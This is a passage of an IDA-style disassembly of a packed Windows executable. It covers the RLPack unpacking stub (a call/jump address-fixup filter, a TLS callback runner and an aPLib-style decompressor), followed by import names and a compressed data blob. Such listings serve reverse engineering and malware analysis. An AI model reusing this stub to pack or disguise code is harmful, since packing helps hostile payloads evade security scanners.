jmp short loc_4FA762
; ---------------------------------------------------------------------------
loc_4FA73A: ; CODE XREF: sub_4FA6E8+1Cj
cdq
jmp short loc_4FA75D
; ---------------------------------------------------------------------------
loc_4FA73D: ; CODE XREF: sub_4FA6E8+78j
inc edx
cmp byte ptr [esi], 0E8h
jz short loc_4FA748
cmp byte ptr [esi], 0E9h
jnz short loc_4FA75B
loc_4FA748: ; CODE XREF: sub_4FA6E8+59j
mov eax, [esi+1]
bswap eax
sub eax, edx
mov [esi+1], eax
add esi, 4
add edx, 4
sub ecx, 4
loc_4FA75B: ; CODE XREF: sub_4FA6E8+5Ej
inc esi
dec ecx
loc_4FA75D: ; CODE XREF: sub_4FA6E8+53j
cmp ecx, 0
ja short loc_4FA73D
loc_4FA762: ; CODE XREF: sub_4FA6E8+50j
popa
retn
sub_4FA6E8 endp
; =============== S U B R O U T I N E =======================================
sub_4FA764 proc near ; CODE XREF: start+183p
pusha
mov esi, [ebp+43Ch]
add esi, [esi+3Ch]
mov esi, [esi+0C0h]
or esi, esi
jz short loc_4FA7A7
add esi, [ebp+43Ch]
add esi, 0Ch
mov esi, [esi]
or esi, esi
jz short loc_4FA7A7
mov eax, [esi]
jmp short loc_4FA7A3
; ---------------------------------------------------------------------------
loc_4FA78B: ; CODE XREF: sub_4FA764+41j
push esi
cmp dword ptr [eax], 0
jz short loc_4FA79D
push 0
push 1
push dword ptr [ebp+43Ch]
call eax
loc_4FA79D: ; CODE XREF: sub_4FA764+2Bj
pop esi
add esi, 4
mov eax, [esi]
loc_4FA7A3: ; CODE XREF: sub_4FA764+25j
or eax, eax
jnz short loc_4FA78B
loc_4FA7A7: ; CODE XREF: sub_4FA764+12j
; sub_4FA764+21j
popa
retn
sub_4FA764 endp
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
mov edi, [esp+28h]
cld
mov dl, 80h
xor ebx, ebx
loc_4FA7B7: ; CODE XREF: .RLPack:004FA7BFj
movsb
mov bl, 2
loc_4FA7BA: ; CODE XREF: .RLPack:004FA7E4j
; .RLPack:004FA82Aj
call sub_4FA82C
jnb short loc_4FA7B7
xor ecx, ecx
call sub_4FA82C
jnb short loc_4FA7E6
xor eax, eax
call sub_4FA82C
jnb short loc_4FA7F6
mov bl, 2
inc ecx
mov al, 10h
loc_4FA7D8: ; CODE XREF: .RLPack:004FA7DFj
call sub_4FA82C
adc al, al
jnb short loc_4FA7D8
jnz short loc_4FA822
stosb
jmp short loc_4FA7BA
; ---------------------------------------------------------------------------
loc_4FA7E6: ; CODE XREF: .RLPack:004FA7C8j
call sub_4FA838
sub ecx, ebx
jnz short loc_4FA7FF
call sub_4FA836
jmp short loc_4FA81E
; ---------------------------------------------------------------------------
loc_4FA7F6: ; CODE XREF: .RLPack:004FA7D1j
lodsb
shr eax, 1
jz short loc_4FA848
adc ecx, ecx
jmp short loc_4FA81B
; ---------------------------------------------------------------------------
loc_4FA7FF: ; CODE XREF: .RLPack:004FA7EDj
xchg eax, ecx
dec eax
shl eax, 8
lodsb
call sub_4FA836
cmp eax, 7D00h
jnb short loc_4FA81B
cmp ah, 5
jnb short loc_4FA81C
cmp eax, 7Fh
ja short loc_4FA81D
loc_4FA81B: ; CODE XREF: .RLPack:004FA7FDj
; .RLPack:004FA80Fj
inc ecx
loc_4FA81C: ; CODE XREF: .RLPack:004FA814j
inc ecx
loc_4FA81D: ; CODE XREF: .RLPack:004FA819j
xchg eax, ebp
loc_4FA81E: ; CODE XREF: .RLPack:004FA7F4j
mov eax, ebp
mov bl, 1
loc_4FA822: ; CODE XREF: .RLPack:004FA7E1j
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp short loc_4FA7BA
; =============== S U B R O U T I N E =======================================
sub_4FA82C proc near ; CODE XREF: .RLPack:loc_4FA7BAp
; .RLPack:004FA7C3p ...
add dl, dl
jnz short locret_4FA835
mov dl, [esi]
inc esi
adc dl, dl
locret_4FA835: ; CODE XREF: sub_4FA82C+2j
retn
sub_4FA82C endp
; =============== S U B R O U T I N E =======================================
sub_4FA836 proc near ; CODE XREF: .RLPack:004FA7EFp
; .RLPack:004FA805p
xor ecx, ecx
sub_4FA836 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FA838 proc near ; CODE XREF: .RLPack:loc_4FA7E6p
inc ecx
loc_4FA839: ; CODE XREF: sub_4FA838+Dj
call sub_4FA82C
adc ecx, ecx
call sub_4FA82C
jb short loc_4FA839
retn
sub_4FA838 endp
; ---------------------------------------------------------------------------
loc_4FA848: ; CODE XREF: .RLPack:004FA7F9j
sub edi, [esp+28h]
mov [esp+1Ch], edi
popa
retn
; ---------------------------------------------------------------------------
align 4
dd 2 dup(0)
dd 0A87A0000h, 0A887000Fh, 0Fh, 4 dup(0)
dd 656B0000h, 6C656E72h, 642E3233h, 0D8006C6Ch, 0FD77E805h
dd 0A77E7A5h, 3477E798h, 9A77E79Eh, 77E616h, 0
dd 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h
dd 6441636Fh, 73657264h, 56000073h, 75747269h, 6C416C61h
dd 636F6Ch, 72695600h, 6C617574h, 65657246h, 69560000h
dd 61757472h, 6F72506Ch, 74636574h, 10000000h, 80000h
dd 200000h, 0
dd 2 dup(40h), 0
dd 10000000h, 5C000000h, 110002h, 0
dd 76477E6h, 2 dup(32h), 1000000Eh, 28000000h, 7000000Fh
dd 31A20002h, 9000000Fh, 0A4A00002h, 0E000000Fh, 0Dh, 0E570000h
dd 335F3253h, 6C642E63h, 454B008Fh, 4CE64E52h, 10E0DA6h
dd 190271C4h, 6FC8413Ah, 656B1D63h, 738F874h, 0F803270h
dd 0F12F0C09h, 15447322h, 1202890Ah, 4801240Dh, 2209910Bh
dd 3104404h, 13121789h, 97481224h, 6660691h, 46006E70h
dd 43646E69h, 70736F6Ch, 0C8536665h, 4F371845h, 1AFC2466h
dd 42731949h, 0FF6F3061h, 727450D0h, 527B0DA4h, 610D08D0h
dd 686E554Fh, 4C546EF3h, 63784563h, 69F970F3h, 6977F76Fh
dd 473890FFh, 0A4465336h, 7954670Fh, 0F57EA70h, 46C000D2h
dd 5073756Ch, 0F0425E68h, 5CBEE366h, 408A4B51h, 0A04C4864h
dd 0D1C822Dh, 190E722Bh, 480A4D68h, 0FD751D8Fh, 0A7001CD1h
dd 0CF726976h, 0E95F6DEAh, 57738A60h, 0E6DD7417h, 2EA5FEFEh
dd 827418C8h, 81DA35A3h, 614D434Ch, 57274870h, 66310DA7h
dd 19BD6548h, 78A87A28h, 0F973EC52h, 9108385Dh, 284DFC4Fh
dd 52095043h, 0C600741h, 6F666E49h, 57194F93h, 5D23747Ch
dd 0F2855628h, 6C611C75h, 0E7C8B941h, 9F420D46h, 4496D970h
dd 0A0A14650h, 4DC87351h, 0F3105DA2h, 76D03A79h, 5841CA1Ah
dd 0A80D4D12h, 3E483275h, 0CF61514Eh, 79531310h, 1B48DF73h
dd 63FB9E44h, 0DCAF6FE3h, 3AD05328h, 193C4399h, 640F6854h
dd 7DF344C1h, 2437AB28h, 15764F3Eh, 0AA906D6Eh, 4699758Fh
dd 497F586Eh, 4C146450h, 45A66166h, 8C9CDB2Eh, 487970A1h
dd 0B5935337h, 0D92F63Ch, 9A756234h, 132F9024h, 0C246A346h
dd 86572264h, 92C94A2Bh, 1E412C53h, 6A622A4Fh, 649B8EA5h
dd 3178654Dh, 0F6316954h, 41EAF259h, 54A16D80h, 201DC8B8h
dd 507033DCh, 54656824h, 0C37376B2h, 0E938D64Ch, 0B972E69Dh
dd 0BDA17921h, 0FE64B83Ch, 6D3FD3A5h, 45FEBB66h, 6360B323h
dd 92A470DEh, 35560F89h, 1FB85592h, 687AA476h, 0A4C666Ch
dd 2E43C0C9h, 0E5B5AACh, 0DB34B2EEh, 8F913A86h, 21923615h
dd 7AD51EDEh, 8F41E22Fh, 0C0704AF4h, 742BCC23h, 0F6C83C23h
dd 4210E23Dh, 0AFE2AF79h, 3E640D57h, 65448521h, 8B3370C9h
dd 0A6562A49h, 0DC010951h, 42CF736Eh, 8C4CC366h, 29706913h
dd 4B00590Ch, 81C85227h, 6C707544h, 0CE22CDB4h, 92D85762h
dd 0B3694B28h, 0D5722873h, 0D47596AEh, 44CD1126h, 410F0EB4h
dd 4CE82365h, 957DAA6h, 436533ACh, 57941519h, 32960FD1h
dd 0D2424E5Fh, 0E8B134Ch, 0FE680851h, 508D3E6Dh, 90AC2E6Fh
dd 20256A5Ah, 0EA65FDE1h, 0B55AF7FFh, 2C2913CFh, 9970234Ch
dd 46D24A2Eh, 0A28A3A6Eh, 452A3216h, 51E0DB76h, 79307563h
dd 66082950h, 636E0BBBh, 904736B3h, 644DD318h, 12932671h
dd 190C2D79h, 277B35B1h, 0F1545946h, 36076156h, 5758D662h
dd 0A334D3F3h, 0B9660913h, 2055A556h, 48C89914h, 294EA474h
dd 921FA1CCh, 5331134Dh, 63A33990h, 37675612h, 67643F4Dh
dd 0A49A9DC9h, 8CC37A62h, 0D6BB329h, 6C0B4C94h, 0C4704C24h
dd 0A67765B6h, 0E4D29A5h, 0D20C1CE9h, 67714931h, 0D9866116h
dd 0D00C4752h, 5E702493h, 915E01AEh, 24C84A7Fh, 8A875B94h
dd 637206A8h, 791A46Dh, 42491CA6h, 0BC654518h, 996BF67Ah
dd 644BCA90h, 44DBC867h, 4076A2CDh, 0F519BE1Dh, 24A0CAA0h
dd 6A357375h, 3C372B11h, 4DE7742Ah, 0F35C1677h, 422CF0DBh
dd 6A5A9270h, 0AEAAA9B2h, 0A22C9FD4h, 90979FD2h, 1544CF41h
dd 796F15ADh, 7011560Ch, 80E1h
db 3 dup(0)
_RLPack ends
; Section 3. (virtual address 000FB000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 000FAE00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4FB000h
align 2000h
_idata2 ends
end start